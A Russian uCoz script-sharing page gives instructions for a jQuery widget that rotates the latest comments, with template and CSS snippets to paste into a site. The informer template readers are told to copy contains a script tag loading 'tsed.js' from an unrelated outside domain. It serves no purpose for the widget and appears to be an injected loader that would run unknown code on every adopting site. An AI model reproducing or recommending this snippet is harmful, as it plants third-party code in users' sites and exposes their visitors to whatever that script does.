Витрина ссылок
{text}
Мини-Чат
Мини Профиль
Гость

Партнеры





Статистика


Онлайн всего: 2
Гостей: 2
Пользователей: 0
[ Кто нас сегодня посетил ]
Новое на форуме
Состав клана - победы поражени...[ 0 ]
Форма входа CSS3 & HTML5[ 0 ]
TRANCE Радио[ 0 ]
МиниПрофиль[ 0 ]
Темный мини-чат для uCoz[ 0 ]
Новые файлы
Уведомление о регист...[ 03.04.2013 ]
Пожертвование на раз...[ 03.04.2013 ]
Игра на мышление[ 03.04.2013 ]
Коте для вашего сайт...[ 03.04.2013 ]
Перевод страниц сайт...[ 25.03.2013 ]
Новые пользователи
minus_aa[ 0 ]
korneevany2008[ 0 ]
yaznayunet[ 0 ]
Арес[ 0 ]
Asgard[ 0 ]
Главная » Файлы » uCoz » Скрипты

Информер с плавным обновлением коментариев
Добавил: startsmart » Дата: 25.12.2012, 09:14
Категория: Скрипты

Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее. 

Установка:

Ставим этот скрипт после тега <body>: 

Код
<script type="text/javascript">  
  $(document).ready(function(){  
  var first = 0;  
  var speed = 700;  
  var pause = 3500;  
   
  function removeFirst(){  
  first = $('ul#center_dm_ru li:first').html();  
  $('ul#center_dm_ru li:first')  
  .animate({opacity: 0}, speed)  
  .fadeOut('slow', function() {$(this).remove();});  
  addLast(first);  
  }  
   
  function addLast(first){  
  last = '<li style="display:none">'+first+'</li>';  
  $('ul#center_dm_ru').append(last)  
  $('ul#center_dm_ru li:last')  
  .animate({opacity: 1}, speed)  
  .fadeIn('slow')  
  }  
   
  interval = setInterval(removeFirst, pause);  
  });  
  </script>


Создаем информер с такими параметрами: Коментарии - Все модули - Количество материалов 10 - Количество колонок 1 и вставляем в информер такой код: 

Код
<li>  
  <a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>  
  </li>


Вставляем этот код в блок и меняем на свой информер: 

Код
<ul id="center_dm_ru">  
  $MYINF_1$  
  </ul>


И прописываем в css стили информера: 

Код
#center_dm_ru {  
  overflow:hidden;  
  height:250px;  
  width:250px;  
  border:solid 1px #C8D9E5;  
  padding: 0px 0px 0px 0px;  
  background: #F8FCFF;  
  }  

  #center_dm_ru li {  
  list-style:none;  
  overflow:hidden;  
  border-top: 1px solid #fff;  
  border-bottom: 1px solid #C8D9E5;  
  padding: 10px 5px 10px 5px;  
  }  

  .coment_avatar {  
  float:right;  
  width:25px;  
  height:25px;  
  background: #F3F3F3;  
  margin-left: 5px;  
  padding: 2px;  
  border:1px solid #C8D9E5;  
  }  

  .massage_link:link,  
  .massage_link:visited {  
  text-decoration: none;  
  color:#555;  
  }  

  .massage_link:hover {  
  color:#999;  
  }  

  #center_dm_ru li a:hover img {  
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);  
  -moz-opacity: 0.5;  
  opacity: 0.5;  
  filter: alpha(opacity=50);  
  }



Просмотров: 174 | Загрузок: 0
Всего комментариев: 0
llpadding="0" cellspacing="0" width="100%">
Добавление комментария
Имя *:
Email:
Код *: